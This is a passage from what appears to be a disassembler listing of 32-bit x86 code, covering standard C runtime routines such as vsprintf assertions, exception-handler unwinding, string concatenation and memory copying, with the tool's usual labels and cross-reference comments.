esp sub esp, 2Ch push ebx push esi push edi lea eax, [ebp+var_20] mov [ebp+var_24], eax loc_418C1F: ; CODE XREF: sub_418C10+37j cmp [ebp+arg_0], 0 jnz short loc_418C43 push offset aStringNull ; "string != NULL" push 0 push 5Ah push offset aVsprintf_c ; "vsprintf.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_418C43 int 3 ; Trap to Debugger loc_418C43: ; CODE XREF: sub_418C10+13j ; sub_418C10+30j xor ecx, ecx test ecx, ecx jnz short loc_418C1F loc_418C49: ; CODE XREF: sub_418C10+61j cmp [ebp+arg_8], 0 jnz short loc_418C6D push offset aFormatNull ; "format != NULL" push 0 push 5Bh push offset aVsprintf_c ; "vsprintf.c" push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_418C6D int 3 ; Trap to Debugger loc_418C6D: ; CODE XREF: sub_418C10+3Dj ; sub_418C10+5Aj xor edx, edx test edx, edx jnz short loc_418C49 mov eax, [ebp+var_24] mov dword ptr [eax+0Ch], 42h mov ecx, [ebp+var_24] mov edx, [ebp+arg_0] mov [ecx+8], edx mov eax, [ebp+var_24] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+var_24] mov eax, [ebp+arg_4] mov [edx+4], eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+var_24] push eax call sub_4209A0 add esp, 0Ch mov [ebp+var_28], eax mov ecx, [ebp+var_24] mov edx, [ecx+4] sub edx, 1 mov eax, [ebp+var_24] mov [eax+4], edx mov ecx, [ebp+var_24] cmp dword ptr [ecx+4], 0 jl short loc_418CE8 mov edx, [ebp+var_24] mov eax, [edx] mov byte ptr [eax], 0 xor ecx, ecx and ecx, 0FFh mov [ebp+var_2C], ecx mov edx, [ebp+var_24] mov eax, [edx] add eax, 1 mov ecx, [ebp+var_24] mov [ecx], eax jmp short loc_418CF9 ; --------------------------------------------------------------------------- loc_418CE8: ; CODE XREF: sub_418C10+B4j mov edx, [ebp+var_24] push edx push 0 call sub_420720 add esp, 8 mov [ebp+var_2C], eax loc_418CF9: ; CODE XREF: sub_418C10+D6j mov eax, [ebp+var_28] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_418C10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418D10 proc near ; CODE XREF: sub_422F70+AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_418D10 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418D50 proc near ; CODE XREF: sub_423450+50p arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_418D50 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418D60 proc near ; CODE XREF: sub_4231D0+247p arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_418D60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418D70 proc near ; CODE XREF: sub_4231D0+21Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_418D70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418D80 proc near ; CODE XREF: sub_418FD0+66p ; sub_422F70+38p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_418DAC push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx call sub_433974 ; RtlUnwind loc_418DAC: ; DATA XREF: sub_418D80+12o mov eax, [ebp+arg_4] mov ecx, [eax+4] and ecx, 0FFFFFFFDh mov edx, [ebp+arg_4] mov [edx+4], ecx mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_418D80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DE0 proc near ; CODE XREF: .data:00433EE5j ; .data:00433F10j ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi cld mov [ebp+var_8], eax push 0 push 0 push 0 mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4228D0 add esp, 20h mov [ebp+var_4], eax pop edi pop esi pop ebx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_418DE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+8] mov ecx, [eax+1Ch] push ecx mov edx, [ebp+8] mov eax, [edx+28h] push eax push 0 mov ecx, [ebp+8] mov edx, [ecx+18h] push edx call sub_422E40 add esp, 10h pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E50 proc near ; CODE XREF: sub_423030+8Ap var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_14], 0 mov [ebp+var_10], offset sub_418EC0 mov eax, [ebp+arg_4] mov [ebp+var_C], eax mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx mov edx, [ebp+arg_C] add edx, 1 mov [ebp+var_4], edx mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_8] push edx call sub_423530 mov [ebp+var_18], eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, [ebp+var_18] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_418E50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EC0 proc near ; DATA XREF: sub_418E50+10o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld push 0 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+10h] push edx mov eax, [ebp+arg_4] mov ecx, [eax+8] push ecx push 0 mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+0Ch] push ecx mov edx, [ebp+arg_0] push edx call sub_4228D0 add esp, 20h pop edi pop esi pop ebx pop ebp retn sub_418EC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F00 proc near ; CODE XREF: sub_422C60+2Dp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi mov [ebp+var_28], 0 mov [ebp+var_24], offset sub_418FD0 mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov ecx, [ebp+arg_4] mov [ebp+var_1C], ecx mov edx, [ebp+arg_14] mov [ebp+var_18], edx mov eax, [ebp+arg_18] mov [ebp+var_14], eax mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov [ebp+var_8], 0 mov [ebp+var_4], 0 mov [ebp+var_10], offset loc_418F9C mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov ecx, [ebp+arg_0] mov [ebp+var_30], ecx mov edx, [ebp+arg_8] mov [ebp+var_2C], edx lea eax, [ebp+var_30] push eax mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_421920 call dword ptr [eax+68h] add esp, 8 mov [ebp+var_34], 0 loc_418F9C: ; DATA XREF: sub_418F00+4Bo cmp [ebp+var_4], 0 jz short loc_418FB9 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_418FC2 ; --------------------------------------------------------------------------- loc_418FB9: ; CODE XREF: sub_418F00+A0j mov eax, [ebp+var_28] mov large fs:0, eax loc_418FC2: ; CODE XREF: sub_418F00+B7j mov eax, [ebp+var_34] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_418F00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418FD0 proc near ; DATA XREF: sub_418F00+10o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov ecx, [eax+4] and ecx, 66h test ecx, ecx jz short loc_418FF5 mov edx, [ebp+arg_4] mov dword ptr [edx+24h], 1 mov eax, 1 jmp short loc_41904C ; --------------------------------------------------------------------------- loc_418FF5: ; CODE XREF: sub_418FD0+12j push 1 mov eax, [ebp+arg_4] mov ecx, [eax+14h] push ecx mov edx, [ebp+arg_4] mov eax, [edx+10h] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+8] push edx push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] mov edx, [ecx+0Ch] push edx mov eax, [ebp+arg_0] push eax call sub_4228D0 add esp, 20h mov ecx, [ebp+arg_4] cmp dword ptr [ecx+24h], 0 jnz short loc_41903B mov edx, [ebp+arg_0] push edx mov eax, [ebp+arg_4] push eax call sub_418D80 loc_41903B: ; CODE XREF: sub_418FD0+5Cj mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- mov eax, 1 loc_41904C: ; CODE XREF: sub_418FD0+23j pop edi pop esi pop ebx pop ebp retn sub_418FD0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419060 proc near ; CODE XREF: sub_4229C0+135p ; sub_422C60+52p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, [eax+10h] mov esi, [eax+0Ch] mov [ebp+var_4], ecx mov ecx, [ebp+arg_4] test ecx, ecx mov edi, esi mov ebx, esi jl short loc_4190B9 loc_41907E: ; CODE XREF: sub_419060+54j cmp esi, 0FFFFFFFFh jnz short loc_419088 call sub_423630 loc_419088: ; CODE XREF: sub_419060+21j mov eax, [ebp+var_4] dec esi mov ecx, [ebp+arg_8] lea edx, [esi+esi*4] lea eax, [eax+edx*4] cmp ecx, [eax+4] jle short loc_41909F cmp ecx, [eax+8] jle short loc_4190A4 loc_41909F: ; CODE XREF: sub_419060+38j cmp esi, 0FFFFFFFFh jnz short loc_4190AF loc_4190A4: ; CODE XREF: sub_419060+3Dj mov eax, [ebp+arg_4] mov edi, ebx dec eax mov ebx, esi mov [ebp+arg_4], eax loc_4190AF: ; CODE XREF: sub_419060+42j mov eax, [ebp+arg_4] test eax, eax jge short loc_41907E mov eax, [ebp+arg_0] loc_4190B9: ; CODE XREF: sub_419060+1Cj mov ecx, [ebp+arg_C] mov edx, [ebp+arg_10] inc esi mov [ecx], esi mov [edx], edi cmp edi, [eax+0Ch] ja short loc_4190CD cmp esi, edi jbe short loc_4190D2 loc_4190CD: ; CODE XREF: sub_419060+67j call sub_423630 loc_4190D2: ; CODE XREF: sub_419060+6Bj mov ecx, [ebp+var_4] lea eax, [esi+esi*4] pop edi pop esi lea eax, [ecx+eax*4] pop ebx mov esp, ebp pop ebp retn sub_419060 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4190F0 proc near ; CODE XREF: sub_41BD64+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_419108 push [ebp+arg_0] call sub_433974 ; RtlUnwind loc_419108: ; DATA XREF: sub_4190F0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4190F0 endp ; =============== S U B R O U T I N E ======================================= sub_419110 proc near ; DATA XREF: sub_419132+Ao ; sub_41919A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_419131 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_419131: ; CODE XREF: sub_419110+10j retn sub_419110 endp ; =============== S U B R O U T I N E ======================================= sub_419132 proc near ; CODE XREF: sub_41BD64+67p ; sub_41BD64+A7p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_419110 push large dword ptr fs:0 mov large fs:0, esp loc_41914F: ; CODE XREF: sub_419132:loc_41918Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41918C cmp esi, [esp+1Ch+arg_4] jz short loc_41918C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41918A push 101h mov eax, [ebx+esi*4+8] call sub_4191C6 call dword ptr [ebx+esi*4+8] loc_41918A: ; CODE XREF: sub_419132+44j jmp short loc_41914F ; --------------------------------------------------------------------------- loc_41918C: ; CODE XREF: sub_419132+2Aj ; sub_419132+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_419132 endp ; =============== S U B R O U T I N E ======================================= sub_41919A proc near ; CODE XREF: sub_42310D+4Bp xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_419110 jnz short locret_4191BC mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_4191BC mov eax, 1 locret_4191BC: ; CODE XREF: sub_41919A+10j ; sub_41919A+1Bj retn sub_41919A endp ; =============== S U B R O U T I N E ======================================= sub_4191BD proc near ; CODE XREF: sub_423530+1Ep ; sub_423530+40p push ebx push ecx mov ebx, offset dword_444EA0 jmp short loc_4191D0 sub_4191BD endp ; =============== S U B R O U T I N E ======================================= sub_4191C6 proc near ; CODE XREF: sub_419132+4Fp ; sub_41BD64+78p push ebx push ecx mov ebx, offset dword_444EA0 mov ecx, [ebp+8] loc_4191D0: ; CODE XREF: sub_4191BD+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_4191C6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4191E0 proc near ; CODE XREF: .data:0040898Bp ; sub_40B7B6+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_4191E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419200 proc near ; CODE XREF: sub_4092B9+8Dp ; sub_409B9F+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_4192B4 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41922A loc_41921B: ; CODE XREF: sub_419200+28j mov al, [edi] inc edi test al, al jz short loc_41925B test edi, 3 jnz short loc_41921B loc_41922A: ; CODE XREF: sub_419200+19j ; sub_419200+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41922A mov eax, [edi-4] test al, al jz short loc_419268 test ah, ah jz short loc_419263 test eax, 0FF0000h jz short loc_41925E test eax, 0FF000000h jnz short loc_41922A loc_41925B: ; CODE XREF: sub_419200+20j dec edi jmp short loc_41926B ; --------------------------------------------------------------------------- loc_41925E: ; CODE XREF: sub_419200+52j sub edi, 2 jmp short loc_41926B ; --------------------------------------------------------------------------- loc_419263: ; CODE XREF: sub_419200+4Bj sub edi, 3 jmp short loc_41926B ; --------------------------------------------------------------------------- loc_419268: ; CODE XREF: sub_419200+47j sub edi, 4 loc_41926B: ; CODE XREF: sub_419200+5Cj ; sub_419200+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_419280 mov ebx, ecx shr ecx, 2 jnz short loc_4192CC jmp short loc_41929C ; --------------------------------------------------------------------------- loc_419280: ; CODE XREF: sub_419200+75j ; sub_419200+93j mov dl, [esi] inc esi test dl, dl jz short loc_4192BA mov [edi], dl inc edi dec ecx jz short loc_4192B0 test esi, 3 jnz short loc_419280 mov ebx, ecx shr ecx, 2 jnz short loc_4192CC loc_41929C: ; CODE XREF: sub_419200+7Ej ; sub_419200+CAj mov ecx, ebx and ecx, 3 jz short loc_4192B0 loc_4192A3: ; CODE XREF: sub_419200+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_4192B2 dec ecx jnz short loc_4192A3 loc_4192B0: ; CODE XREF: sub_419200+8Bj ; sub_419200+A1j mov [edi], cl loc_4192B2: ; CODE XREF: sub_419200+ABj pop ebx pop esi loc_4192B4: ; CODE XREF: sub_419200+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4192BA: ; CODE XREF: sub_419200+85j ; sub_419200+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_4192C4: ; CODE XREF: sub_419200+E4j ; sub_419200+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41929C loc_4192CC: ; CODE XREF: sub_419200+7Cj ; sub_419200+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_4192C4 test dl, dl jz short loc_4192BA test dh, dh jz short loc_419318 test edx, 0FF0000h jz short loc_419308 test edx, 0FF000000h jnz short loc_4192C4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_419308: ; CODE XREF: sub_419200+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_419318: ; CODE XREF: sub_419200+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_419200 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419330 proc near ; CODE XREF: sub_4093EB+62p ; sub_4093EB+6Fp ... var_6AB7FFC0 = byte ptr -6AB7FFC0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_419350 cmp edi, eax jb loc_4194C8 loc_419350: ; CODE XREF: sub_419330+16j test edi, 3 jnz short loc_41936C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41938C rep movsd jmp off_419478[edx*4] ; --------------------------------------------------------------------------- loc_41936C: ; CODE XREF: sub_419330+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_419384 and eax, 3 add ecx, eax jmp dword ptr loc_41938C+4[eax*4] ; --------------------------------------------------------------------------- loc_419384: ; CODE XREF: sub_419330+46j jmp dword ptr loc_419488[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41938C: ; CODE XREF: sub_419330+31j ; sub_419330+8Ej ... jmp off_41940C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4193A0 dd offset loc_4193CC dd offset loc_4193F0 ; --------------------------------------------------------------------------- loc_4193A0: ; DATA XREF: sub_419330+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41938C rep movsd jmp off_419478[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4193CC: ; DATA XREF: sub_419330+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41938C rep movsd jmp off_419478[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4193F0: ; DATA XREF: sub_419330+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41938C rep movsd jmp off_419478[edx*4] ; --------------------------------------------------------------------------- align 4 off_41940C dd offset loc_41946F ; DATA XREF: sub_419330:loc_41938Cr dd offset loc_41945C dd offset loc_419454 dd offset loc_41944C dd offset loc_419444 dd offset loc_41943C dd offset loc_419434 dd offset loc_41942C ; --------------------------------------------------------------------------- loc_41942C: ; CODE XREF: sub_419330:loc_41938Cj ; DATA XREF: sub_419330+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_419434: ; CODE XREF: sub_419330:loc_41938Cj ; DATA XREF: sub_419330+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41943C: ; CODE XREF: sub_419330:loc_41938Cj ; DATA XREF: sub_419330+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_419444: ; CODE XREF: sub_419330:loc_41938Cj ; DATA XREF: sub_419330+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41944C: ; CODE XREF: sub_419330:loc_41938Cj ; DATA XREF: sub_419330+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_419454: ; CODE XREF: sub_419330:loc_41938Cj ; DATA XREF: sub_419330+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41945C: ; CODE XREF: sub_419330:loc_41938Cj ; DATA XREF: sub_419330+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41946F: ; CODE XREF: sub_419330:loc_41938Cj ; DATA XREF: sub_419330:off_41940Co jmp off_419478[edx*4] ; --------------------------------------------------------------------------- align 4 off_419478 dd offset loc_419488 ; DATA XREF: sub_419330+35r ; sub_419330+92r ... dd offset loc_419490 dd offset loc_41949C dd offset loc_4194B0 ; --------------------------------------------------------------------------- loc_419488: ; CODE XREF: sub_419330+35j ; sub_419330+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_419490: ; CODE XREF: sub_419330+35j ; sub_419330+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41949C: ; CODE XREF: sub_419330+35j ; sub_419330+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4194B0: ; CODE XREF: sub_419330+35j ; sub_419330+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4194C8: ; CODE XREF: sub_419330+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_4194FC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4194F0 std rep movsd cld jmp off_419610[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4194F0: ; CODE XREF: sub_419330+1B1j ; sub_419330+208j ... neg ecx jmp off_4195C0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4194FC: ; CODE XREF: sub_419330+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_419514 and eax, 3 sub ecx, eax jmp dword ptr loc_419514+4[eax*4] ; --------------------------------------------------------------------------- loc_419514: ; CODE XREF: sub_419330+1D6j ; DATA XREF: sub_419330+1DDr jmp off_419610[ecx*4] ; --------------------------------------------------------------------------- align 4 sub [ebp-6AB7FFBFh], dl inc ecx add [eax-6Bh], dh inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_4194F0 std rep movsd cld jmp off_419610[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_4194F0 std rep movsd cld jmp off_419610[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_4194F0 std rep movsd cld jmp off_419610[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4195C4 dd offset loc_4195CC dd offset loc_4195D4 dd offset loc_4195DC dd offset loc_4195E4 dd offset loc_4195EC dd offset loc_4195F4 off_4195C0 dd offset loc_419607 ; DATA XREF: sub_419330+1C2r ; --------------------------------------------------------------------------- loc_4195C4: ; DATA XREF: sub_419330+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_4195CC: ; DATA XREF: sub_419330+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_4195D4: ; DATA XREF: sub_419330+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_4195DC: ; DATA XREF: sub_419330+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_4195E4: ; DATA XREF: sub_419330+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_4195EC: ; DATA XREF: sub_419330+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_4195F4: ; DATA XREF: sub_419330+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_419607: ; CODE XREF: sub_419330+1C2j ; DATA XREF: sub_419330:off_4195C0o jmp off_419610[edx*4] ; --------------------------------------------------------------------------- align 10h off_419610 dd offset loc_419620 ; DATA XREF: sub_419330+1B7r ; sub_419330:loc_419514r ... dd offset loc_419628 dd offset loc_419638 dd offset loc_41964C ; --------------------------------------------------------------------------- loc_419620: ; CODE XREF: sub_419330+1B7j ; sub_419330:loc_419514j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_419628: ; CODE XREF: sub_419330+1B7j ; sub_419330:loc_419514j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_419638: ; CODE XREF: sub_419330+1B7j ; sub_419330:loc_419514j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41964C: ; CODE XREF: sub_419330+1B7j ; sub_419330:loc_419514j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_419330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419670 proc near ; CODE XREF: sub_40A547+40p ; sub_40D0F7+23Dp ... var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi lea eax, [ebp+var_20] 